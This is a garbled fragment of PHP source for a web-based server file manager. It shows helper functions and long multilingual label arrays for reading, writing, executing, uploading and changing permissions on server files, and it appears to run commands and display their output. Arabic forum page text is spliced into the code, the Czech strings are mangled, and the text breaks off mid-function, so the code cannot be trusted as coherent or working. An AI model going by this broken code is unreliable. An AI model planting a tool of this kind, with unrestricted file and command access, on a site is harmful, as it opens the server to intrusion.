'; } function textfieldsize ($content) { $size = strlen($content) + 5; if ($size < 30) $size = 30; return $size; } function request_dump () { foreach ($_REQUEST as $key => $value) { echo "\t\n"; } } /* ------------------------------------------------------------------------- */ function html ($string) { global $site_charset; return htmlentities($string, ENT_COMPAT, $site_charset); } function word ($word) { global $words, $word_charset; return htmlentities($words[$word], ENT_COMPAT, $word_charset); } function phrase ($phrase, $arguments) { global $words; static $search; if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i"; for ($i = 0; $i < sizeof($arguments); $i++) { $arguments[$i] = nl2br(html($arguments[$i])); } $replace = array('{' => '
', '}' =>'
', '[' => '', ']' => ''); return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase])))); } function getwords ($lang) { global $word_charset, $date_format; switch ($lang) { case 'de': $date_format = 'd.m.y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Verzeichnis', 'file' => 'Datei', 'filename' => 'Dateiname', 'size' => 'Grِكe', 'permission' => 'Rechte', 'owner' => 'Eigner', 'group' => 'Gruppe', 'other' => 'Andere', 'functions' => 'Funktionen', 'read' => 'lesen', 'write' => 'schreiben', 'execute' => 'ausführen', 'create_symlink' => 'Symlink erstellen', 'delete' => 'lِschen', 'rename' => 'umbenennen', 'move' => 'verschieben', 'copy' => 'kopieren', 'edit' => 'editieren', 'download' => 'herunterladen', 'upload' => 'hochladen', 'create' => 'erstellen', 'change' => 'wechseln', 'save' => 'speichern', 'set' => 'setze', 'reset' => 'zurücksetzen', 'relative' => 'Pfad zum Ziel relativ', 'yes' => 'Ja', 'no' => 'Nein', 'back' => 'zurück', 'destination' => 'Ziel', 'symlink' => 'Symbolischer Link', 'no_output' => 'keine Ausgabe', 'user' => 'Benutzername', 'password' => 'Kennwort', 'add' => 'hinzufügen', 'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen', 'uploaded' => '"[%1]" wurde hochgeladen.', 'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.', 'already_exists' => '"[%1]" existiert bereits.', 'created' => '"[%1]" wurde erstellt.', 'not_created' => '"[%1]" konnte nicht erstellt werden.', 'really_delete' => 'Sollen folgende Dateien wirklich gelِscht werden?', 'deleted' => "Folgende Dateien wurden gelِscht:\n[%1]", 'not_deleted' => "Folgende Dateien konnten nicht gelِscht werden:\n[%1]", 'rename_file' => 'Benenne Datei um:', 'renamed' => '"[%1]" wurde in "[%2]" umbenannt.', 'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.', 'move_files' => 'Verschieben folgende Dateien:', 'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]", 'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]", 'copy_files' => 'Kopiere folgende Dateien:', 'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]", 'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]", 'not_edited' => '"[%1]" kann nicht editiert werden.', 'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\n{%2}", 'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{%2}", 'saved' => '"[%1]" wurde gespeichert.', 'not_saved' => '"[%1]" konnte nicht gespeichert werden.', 'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.', 'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.', 'permission_for' => 'Rechte für "[%1]":', 'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.', 'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.', 'not_readable' => '"[%1]" kann nicht gelesen werden.' ); case 'fr': $date_format = 'd.m.y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Répertoire', 'file' => 'Fichier', 'filename' => 'Nom fichier', 'size' => 'Taille', 'permission' => 'Droits', 'owner' => 'Propriétaire', 'group' => 'Groupe', 'other' => 'Autres', 'functions' => 'Fonctions', 'read' => 'Lire', 'write' => 'Ecrire', 'execute' => 'Exécuter', 'create_symlink' => 'Créer lien symbolique', 'delete' => 'Effacer', 'rename' => 'Renommer', 'move' => 'Déplacer', 'copy' => 'Copier', 'edit' => 'Ouvrir', 'download' => 'Télécharger sur PC', 'upload' => 'Télécharger sur serveur', 'create' => 'Créer', 'change' => 'Changer', 'save' => 'Sauvegarder', 'set' => 'Exécuter', 'reset' => 'Réinitialiser', 'relative' => 'Relatif', 'yes' => 'Oui', 'no' => 'Non', 'back' => 'Retour', 'destination' => 'Destination', 'symlink' => 'Lien symbollique', 'no_output' => 'Pas de sortie', 'user' => 'Utilisateur', 'password' => 'Mot de passe', 'add' => 'Ajouter', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" a été téléchargé sur le serveur.', 'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.', 'already_exists' => '"[%1]" existe déjà.', 'created' => '"[%1]" a été créé.', 'not_created' => '"[%1]" n a pas pu être créé.', 'really_delete' => 'Effacer le fichier?', 'deleted' => "Ces fichiers ont été détuits:\n[%1]", 'not_deleted' => "Ces fichiers n ont pu être détruits:\n[%1]", 'rename_file' => 'Renomme fichier:', 'renamed' => '"[%1]" a été renommé en "[%2]".', 'not_renamed' => '"[%1] n a pas pu être renommé en "[%2]".', 'move_files' => 'Déplacer ces fichiers:', 'moved' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]", 'not_moved' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]", 'copy_files' => 'Copier ces fichiers:', 'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]", 'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" ne peut être ouvert.', 'executed' => "\"[%1]\" a été brillamment exécuté :\n{%2}", 'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{%2}", 'saved' => '"[%1]" a été sauvegardé.', 'not_saved' => '"[%1]" n a pas pu être sauvegardé.', 'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.', 'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.', 'permission_for' => 'Droits de "[%1]":', 'permission_set' => 'Droits de "[%1]" ont été changés en [%2].', 'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].', 'not_readable' => '"[%1]" ne peut pas être ouvert.' ); case 'it': $date_format = 'd-m-Y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Directory', 'file' => 'File', 'filename' => 'Nome File', 'size' => 'Dimensioni', 'permission' => 'Permessi', 'owner' => 'Proprietario', 'group' => 'Gruppo', 'other' => 'Altro', 'functions' => 'Funzioni', 'read' => 'leggi', 'write' => 'scrivi', 'execute' => 'esegui', 'create_symlink' => 'crea link simbolico', 'delete' => 'cancella', 'rename' => 'rinomina', 'move' => 'sposta', 'copy' => 'copia', 'edit' => 'modifica', 'download' => 'download', 'upload' => 'upload', 'create' => 'crea', 'change' => 'cambia', 'save' => 'salva', 'set' => 'imposta', 'reset' => 'reimposta', 'relative' => 'Percorso relativo per la destinazione', 'yes' => 'Si', 'no' => 'No', 'back' => 'indietro', 'destination' => 'Destinazione', 'symlink' => 'Link simbolico', 'no_output' => 'no output', 'user' => 'User', 'password' => 'Password', 'add' => 'aggiungi', 'add_basic_auth' => 'aggiungi autenticazione base', 'uploaded' => '"[%1]" è stato caricato.', 'not_uploaded' => '"[%1]" non è stato caricato.', 'already_exists' => '"[%1]" esiste già.', 'created' => '"[%1]" è stato creato.', 'not_created' => '"[%1]" non è stato creato.', 'really_delete' => 'Cancello questi file ?', 'deleted' => "Questi file sono stati cancellati:\n[%1]", 'not_deleted' => "Questi file non possono essere cancellati:\n[%1]", 'rename_file' => 'File rinominato:', 'renamed' => '"[%1]" è stato rinominato in "[%2]".', 'not_renamed' => '"[%1] non è stato rinominato in "[%2]".', 'move_files' => 'Sposto questi file:', 'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]", 'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]", 'copy_files' => 'Copio questi file', 'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]", 'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" non puٍ essere modificato.', 'executed' => "\"[%1]\" è stato eseguito con successo:\n{%2}", 'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{%2}", 'saved' => '"[%1]" è stato salvato.', 'not_saved' => '"[%1]" non è stato salvato.', 'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.', 'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.', 'permission_for' => 'Permessi di "[%1]":', 'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].', 'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].', 'not_readable' => '"[%1]" non puٍ essere letto.' ); case 'nl': $date_format = 'n/j/y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Directory', 'file' => 'Bestand', 'filename' => 'Bestandsnaam', 'size' => 'Grootte', 'permission' => 'Bevoegdheid', 'owner' => 'Eigenaar', 'group' => 'Groep', 'other' => 'Anderen', 'functions' => 'Functies', 'read' => 'lezen', 'write' => 'schrijven', 'execute' => 'uitvoeren', 'create_symlink' => 'maak symlink', 'delete' => 'verwijderen', 'rename' => 'hernoemen', 'move' => 'verplaatsen', 'copy' => 'kopieren', 'edit' => 'bewerken', 'download' => 'downloaden', 'upload' => 'uploaden', 'create' => 'aanmaken', 'change' => 'veranderen', 'save' => 'opslaan', 'set' => 'instellen', 'reset' => 'resetten', 'relative' => 'Relatief pat naar doel', 'yes' => 'Ja', 'no' => 'Nee', 'back' => 'terug', 'destination' => 'Bestemming', 'symlink' => 'Symlink', 'no_output' => 'geen output', 'user' => 'Gebruiker', 'password' => 'Wachtwoord', 'add' => 'toevoegen', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" is verstuurd.', 'not_uploaded' => '"[%1]" kan niet worden verstuurd.', 'already_exists' => '"[%1]" bestaat al.', 'created' => '"[%1]" is aangemaakt.', 'not_created' => '"[%1]" kan niet worden aangemaakt.', 'really_delete' => 'Deze bestanden verwijderen?', 'deleted' => "Deze bestanden zijn verwijderd:\n[%1]", 'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]", 'rename_file' => 'Bestandsnaam veranderen:', 'renamed' => '"[%1]" heet nu "[%2]".', 'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".', 'move_files' => 'Verplaats deze bestanden:', 'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]", 'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]", 'copy_files' => 'Kopieer deze bestanden:', 'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]", 'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" kan niet worden bewerkt.', 'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}", 'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}", 'saved' => '"[%1]" is opgeslagen.', 'not_saved' => '"[%1]" is niet opgeslagen.', 'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.', 'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.', 'permission_for' => 'Bevoegdheid voor "[%1]":', 'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].', 'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].', 'not_readable' => '"[%1]" kan niet worden gelezen.' ); case 'se': $date_format = 'n/j/y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Mapp', 'file' => 'Fil', 'filename' => 'Filnamn', 'size' => 'Storlek', 'permission' => 'Sنkerhetsnivه', 'owner' => 'ؤgare', 'group' => 'Grupp', 'other' => 'Andra', 'functions' => 'Funktioner', 'read' => 'Lنs', 'write' => 'Skriv', 'execute' => 'Utfِr', 'create_symlink' => 'Skapa symlink', 'delete' => 'Radera', 'rename' => 'Byt namn', 'move' => 'Flytta', 'copy' => 'Kopiera', 'edit' => 'ؤndra', 'download' => 'Ladda ner', 'upload' => 'Ladda upp', 'create' => 'Skapa', 'change' => 'ؤndra', 'save' => 'Spara', 'set' => 'Markera', 'reset' => 'Tِm', 'relative' => 'Relative path to target', 'yes' => 'Ja', 'no' => 'Nej', 'back' => 'Tillbaks', 'destination' => 'Destination', 'symlink' => 'Symlink', 'no_output' => 'no output', 'user' => 'Anvنndare', 'password' => 'Lِsenord', 'add' => 'Lنgg till', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" har laddats upp.', 'not_uploaded' => '"[%1]" kunde inte laddas upp.', 'already_exists' => '"[%1]" finns redan.', 'created' => '"[%1]" har skapats.', 'not_created' => '"[%1]" kunde inte skapas.', 'really_delete' => 'Radera dessa filer?', 'deleted' => "De hنr filerna har raderats:\n[%1]", 'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]", 'rename_file' => 'Byt namn pه fil:', 'renamed' => '"[%1]" har bytt namn till "[%2]".', 'not_renamed' => '"[%1] kunde inte dِpas om till "[%2]".', 'move_files' => 'Flytta dessa filer:', 'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]", 'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]", 'copy_files' => 'Kopiera dessa filer:', 'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]", 'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" kan inte نndras.', 'executed' => "\"[%1]\" har utfِrts:\n{%2}", 'not_executed' => "\"[%1]\" kunde inte utfِras:\n{%2}", 'saved' => '"[%1]" har sparats.', 'not_saved' => '"[%1]" kunde inte sparas.', 'symlinked' => 'Symlink frهn "[%2]" till "[%1]" har skapats.', 'not_symlinked' => 'Symlink frهn "[%2]" till "[%1]" kunde inte skapas.', 'permission_for' => 'Rنttigheter fِr "[%1]":', 'permission_set' => 'Rنttigheter fِr "[%1]" نndrades till [%2].', 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].', 'not_readable' => '"[%1]" kan inte lنsas.' ); case 'sp': $date_format = 'j/n/y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Directorio', 'file' => 'Archivo', 'filename' => 'Nombre Archivo', 'size' => 'Tamaٌo', 'permission' => 'Permisos', 'owner' => 'Propietario', 'group' => 'Grupo', 'other' => 'Otros', 'functions' => 'Funciones', 'read' => 'lectura', 'write' => 'escritura', 'execute' => 'ejecuciَn', 'create_symlink' => 'crear enlace', 'delete' => 'borrar', 'rename' => 'renombrar', 'move' => 'mover', 'copy' => 'copiar', 'edit' => 'editar', 'download' => 'bajar', 'upload' => 'subir', 'create' => 'crear', 'change' => 'cambiar', 'save' => 'salvar', 'set' => 'setear', 'reset' => 'resetear', 'relative' => 'Path relativo', 'yes' => 'Si', 'no' => 'No', 'back' => 'atrلs', 'destination' => 'Destino', 'symlink' => 'Enlace', 'no_output' => 'sin salida', 'user' => 'Usuario', 'password' => 'Clave', 'add' => 'agregar', 'add_basic_auth' => 'agregar autentificaciَn bلsica', 'uploaded' => '"[%1]" ha sido subido.', 'not_uploaded' => '"[%1]" no pudo ser subido.', 'already_exists' => '"[%1]" ya existe.', 'created' => '"[%1]" ha sido creado.', 'not_created' => '"[%1]" no pudo ser creado.', 'really_delete' => '؟Borra estos archivos?', 'deleted' => "Estos archivos han sido borrados:\n[%1]", 'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]", 'rename_file' => 'Renombra archivo:', 'renamed' => '"[%1]" ha sido renombrado a "[%2]".', 'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".', 'move_files' => 'Mover estos archivos:', 'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]", 'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]", 'copy_files' => 'Copiar estos archivos:', 'copied' => "Estos archivos han sido copiados a \"[%2]\":\n[%1]", 'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" no pudo ser editado.', 'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}", 'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}", 'saved' => '"[%1]" ha sido salvado.', 'not_saved' => '"[%1]" no pudo ser salvado.', 'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.', 'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.', 'permission_for' => 'Permisos de "[%1]":', 'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].', 'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].', 'not_readable' => '"[%1]" no pudo ser leيdo.' ); case 'dk': $date_format = 'n/j/y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Mappe', 'file' => 'Fil', 'filename' => 'Filnavn', 'size' => 'Stّrrelse', 'permission' => 'Rettighed', 'owner' => 'Ejer', 'group' => 'Gruppe', 'other' => 'Andre', 'functions' => 'Funktioner', 'read' => 'lوs', 'write' => 'skriv', 'execute' => 'kّr', 'create_symlink' => 'opret symbolsk link', 'delete' => 'slet', 'rename' => 'omdّb', 'move' => 'flyt', 'copy' => 'kopier', 'edit' => 'rediger', 'download' => 'download', 'upload' => 'upload', 'create' => 'opret', 'change' => 'skift', 'save' => 'gem', 'set' => 'sوt', 'reset' => 'nulstil', 'relative' => 'Relativ sti til valg', 'yes' => 'Ja', 'no' => 'Nej', 'back' => 'tilbage', 'destination' => 'Distination', 'symlink' => 'Symbolsk link', 'no_output' => 'ingen resultat', 'user' => 'Bruger', 'password' => 'Kodeord', 'add' => 'tilfّj', 'add_basic_auth' => 'tilfّj grundliggende rettigheder', 'uploaded' => '"[%1]" er blevet uploaded.', 'not_uploaded' => '"[%1]" kunnu ikke uploades.', 'already_exists' => '"[%1]" findes allerede.', 'created' => '"[%1]" er blevet oprettet.', 'not_created' => '"[%1]" kunne ikke oprettes.', 'really_delete' => 'Slet disse filer?', 'deleted' => "Disse filer er blevet slettet:\n[%1]", 'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]", 'rename_file' => 'Omdّd fil:', 'renamed' => '"[%1]" er blevet omdّbt til "[%2]".', 'not_renamed' => '"[%1] kunne ikke omdّbes til "[%2]".', 'move_files' => 'Flyt disse filer:', 'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]", 'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]", 'copy_files' => 'Kopier disse filer:', 'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]", 'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" kan ikke redigeres.', 'executed' => "\"[%1]\" er blevet kّrt korrekt:\n{%2}", 'not_executed' => "\"[%1]\" kan ikke kّres korrekt:\n{%2}", 'saved' => '"[%1]" er blevet gemt.', 'not_saved' => '"[%1]" kunne ikke gemmes.', 'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.', 'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.', 'permission_for' => 'Rettigheder for "[%1]":', 'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].', 'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke sوttes til [%2].', 'not_readable' => '"[%1]" Kan ikke lوses.' ); case 'tr': $date_format = 'n/j/y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Klasِr', 'file' => 'Dosya', 'filename' => 'dosya adi', 'size' => 'boyutu', 'permission' => 'Izin', 'owner' => 'sahib', 'group' => 'Grup', 'other' => 'Digerleri', 'functions' => 'Fonksiyonlar', 'read' => 'oku', 'write' => 'yaz', 'execute' => 'çalistir', 'create_symlink' => 'yarat symlink', 'delete' => 'sil', 'rename' => 'ad degistir', 'move' => 'tasi', 'copy' => 'kopyala', 'edit' => 'düzenle', 'download' => 'indir', 'upload' => 'yükle', 'create' => 'create', 'change' => 'degistir', 'save' => 'kaydet', 'set' => 'ayar', 'reset' => 'sifirla', 'relative' => 'Hedef yola gِre', 'yes' => 'Evet', 'no' => 'Hayir', 'back' => 'Geri', 'destination' => 'Hedef', 'symlink' => 'K‎sa yol', 'no_output' => 'çikti yok', 'user' => 'Kullanici', 'password' => 'Sifre', 'add' => 'ekle', 'add_basic_auth' => 'ekle basit-authentification', 'uploaded' => '"[%1]" yüklendi.', 'not_uploaded' => '"[%1]" yüklenemedi.', 'already_exists' => '"[%1]" kullanilmakta.', 'created' => '"[%1]" olusturuldu.', 'not_created' => '"[%1]" olusturulamadi.', 'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?', 'deleted' => "Bu dosyalar silindi:\n[%1]", 'not_deleted' => "Bu dosyalar silinemedi:\n[%1]", 'rename_file' => 'Adi degisen dosya:', 'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".', 'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.', 'move_files' => 'Tasinan dosyalar:', 'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]", 'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]", 'copy_files' => 'Kopyalanan dosyalar:', 'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]", 'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" düzenlenemiyor.', 'executed' => "\"[%1]\" basariyla çalistirildi:\n{%2}", 'not_executed' => "\"[%1]\" çalistirilamadi:\n{%2}", 'saved' => '"[%1]" kaydedildi.', 'not_saved' => '"[%1]" kaydedilemedi.', 'symlinked' => '"[%2]" den "[%1]" e k‎sayol olu‏turuldu.', 'not_symlinked' => '"[%2]"den "[%1]" e k‎sayol olu‏turulamad‎.', 'permission_for' => 'Izinler "[%1]":', 'permission_set' => 'Izinler "[%1]" degistirildi [%2].', 'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].', 'not_readable' => '"[%1]" okunamiyor.' ); case 'cs': $date_format = 'd.m.y H:i:s'; $word_charset = 'UTF-8'; return array( 'directory' => 'Adresأ،إ™', 'file' => 'Soubor', 'filename' => 'Jmأ©no souboru', 'size' => 'Velikost', 'permission' => 'Prأ،va', 'owner' => 'Vlastnأ­k', 'group' => 'Skupina', 'other' => 'Ostatnأ­', 'functions' => 'Funkce', 'read' => 'ؤŒtenأ­', 'write' => 'Zأ،pis', 'execute' => 'Spouإ،tؤ›nأ­', 'create_symlink' => 'Vytvoإ™it symbolickأ½ odkaz', 'delete' => 'Smazat', 'rename' => 'Pإ™ejmenovat', 'move' => 'Pإ™esunout', 'copy' => 'Zkopأ­rovat', 'edit' => 'Otevإ™أ­t', 'download' => 'Stأ،hnout', 'upload' => 'Nahraj na server', 'create' => 'Vytvoإ™it', 'change' => 'Zmؤ›nit', 'save' => 'Uloإ¾it', 'set' => 'Nastavit', 'reset' => 'zpؤ›t', 'relative' => 'Relatif', 'yes' => 'Ano', 'no' => 'Ne', 'back' => 'Zpؤ›t', 'destination' => 'Destination', 'symlink' => 'Symbolickأ½ odkaz', 'no_output' => 'Prأ،zdnأ½ vأ½stup', 'user' => 'Uإ¾ivatel', 'password' => 'Heslo', 'add' => 'Pإ™idat', 'add_basic_auth' => 'pإ™idej zأ،kladnأ­ autentizaci', 'uploaded' => 'Soubor "[%1]" byl nahrأ،n na server.', 'not_uploaded' => 'Soubor "[%1]" nebyl nahrأ،n na server.', 'already_exists' => 'Soubor "[%1]" uإ¾ exituje.', 'created' => 'Soubor "[%1]" byl vytvoإ™en.', 'not_created' => 'Soubor "[%1]" nemohl bأ½t vytvoإ™en.', 'really_delete' => 'Vymazat soubor?', 'deleted' => "Byly vymazأ،ny tyto soubory:\n[%1]", 'not_deleted' => "Tyto soubory nemohly bأ½t vytvoإ™eny:\n[%1]", 'rename_file' => 'Pإ™ejmenuj soubory:', 'renamed' => 'Soubor "[%1]" byl pإ™ejmenovأ،n na "[%2]".', 'not_renamed' => 'Soubor "[%1]" nemohl bأ½t pإ™ejmenovأ،n na "[%2]".', 'move_files' => 'Pإ™emأ­stit tyto soubory:', 'moved' => "Tyto soubory byly pإ™emأ­stؤ›ny do \"[%2]\":\n[%1]", 'not_moved' => "Tyto soubory nemohly bأ½t pإ™emأ­stؤ›ny do \"[%2]\":\n[%1]", 'copy_files' => 'Zkopأ­rovat tyto soubory:', 'copied' => "Tyto soubory byly zkopأ­rovأ،ny do \"[%2]\":\n[%1]", 'not_copied' => "Tyto soubory nemohly bأ½t zkopأ­rovأ،ny do \"[%2]\":\n[%1]", 'not_edited' => 'Soubor "[%1]" nemohl bأ½t otevإ™en.', 'executed' => "SOubor \"[%1]\" byl spuإ،tؤ›n :\n{%2}", 'not_executed' => "Soubor \"[%1]\" nemohl bأ½t spuإ،tؤ›n:\n{%2}", 'saved' => 'Soubor "[%1]" byl uloإ¾en.', 'not_saved' => 'Soubor "[%1]" nemohl bأ½t uloإ¾en.', 'symlinked' => 'Byl vyvoإ™en symbolickأ½ odkaz "[%2]" na soubor "[%1]".', 'not_symlinked' => 'Symbolickأ½ odkaz "[%2]" na soubor "[%1]" nemohl bأ½t vytvoإ™en.', 'permission_for' => 'Prأ،va k "[%1]":', 'permission_set' => 'Prأ،va k "[%1]" byla zmؤ›nؤ›na na [%2].', 'permission_not_set' => 'Prأ،va k "[%1]" nemohla bأ½t zmؤ›nؤ›na na [%2].', 'not_readable' => 'Soubor "[%1]" nenأ­ moإ¾no pإ™eؤچأ­st.' ); case 'en': default: $date_format = 'n/j/y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Directory', 'file' => 'File', 'filename' => 'Filename', 'size' => 'Size', 'permission' => 'Permission', 'owner' => 'Owner', 'group' => 'Group', 'other' => 'Others', 'functions' => 'Functions', 'read' => 'read', 'write' => 'write', 'execute' => 'execute', 'create_symlink' => 'create symlink', 'delete' => 'delete', 'rename' => 'rename', 'move' => 'move', 'copy' => 'copy', 'edit' => 'edit', 'download' => 'download', 'upload' => 'upload', 'create' => 'create', 'change' => 'change', 'save' => 'save', 'set' => 'set', 'reset' => 'reset', 'relative' => 'Relative path to target', 'yes' => 'Yes', 'no' => 'No', 'back' => 'back', 'destination' => 'Destination', 'symlink' => 'Symlink', 'no_output' => 'no output', 'user' => 'User', 'password' => 'Password', 'add' => 'add', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" has been uploaded.', 'not_uploaded' => '"[%1]" could not be uploaded.', 'already_exists' => '"[%1]" already exists.', 'created' => '"[%1]" has been created.', 'not_created' => '"[%1]" could not be created.', 'really_delete' => 'Delete these files?', 'deleted' => "These files have been deleted:\n[%1]", 'not_deleted' => "These files could not be deleted:\n[%1]", 'rename_file' => 'Rename file:', 'renamed' => '"[%1]" has been renamed to "[%2]".', 'not_renamed' => '"[%1] could not be renamed to "[%2]".', 'move_files' => 'Move these files:', 'moved' => "These files have been moved to \"[%2]\":\n[%1]", 'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]", 'copy_files' => 'Copy these files:', 'copied' => "These files have been copied to \"[%2]\":\n[%1]", 'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" can not be edited.', 'executed' => "\"[%1]\" has been executed successfully:\n{%2}", 'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}", 'saved' => '"[%1]" has been saved.', 'not_saved' => '"[%1]" could not be saved.', 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.', 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created

احصائيات سريعة
 
'; $d = 'dir=' . urlencode($directory) . '&'; if (!$reverse && $sort == 'filename') $r = '&reverse=true'; else $r = ''; echo "\t\n"; if (!$reverse && $sort == 'size') $r = '&reverse=true'; else $r = ''; echo "\t\n"; if (!$win) { if (!$reverse && $sort == 'permission') $r = '&reverse=true'; else $r = ''; echo "\t\n"; if (!$reverse && $sort == 'owner') $r = '&reverse=true'; else $r = ''; echo "\t\n"; if (!$reverse && $sort == 'group') $r = '&reverse=true'; else $r = ''; echo "\t\n"; } echo ' '; for ($i = 0; $i < sizeof($list); $i++) { $file = $list[$i]; $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', '; $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', '; $timestamps .= 'ctime: ' . date($date_format, $file['ctime']); echo '\n"; if (!$win) { echo "\t\n"; if (array_key_exists('owner_name', $file)) { echo "\t\n"; } else { echo "\t\n"; } if (array_key_exists('group_name', $file)) { echo "\t\n"; } else { echo "\t\n"; } } echo ' '; } echo ' '; } function directory_choice () { global $directory, $homedir, $cols, $self; echo ' '; } function upload_box () { global $cols; echo ' '; } function create_box () { global $cols; echo ' '; } function edit ($file) { global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess; html_header(); echo '

' . html($file) . '

لوحة الاعلانات
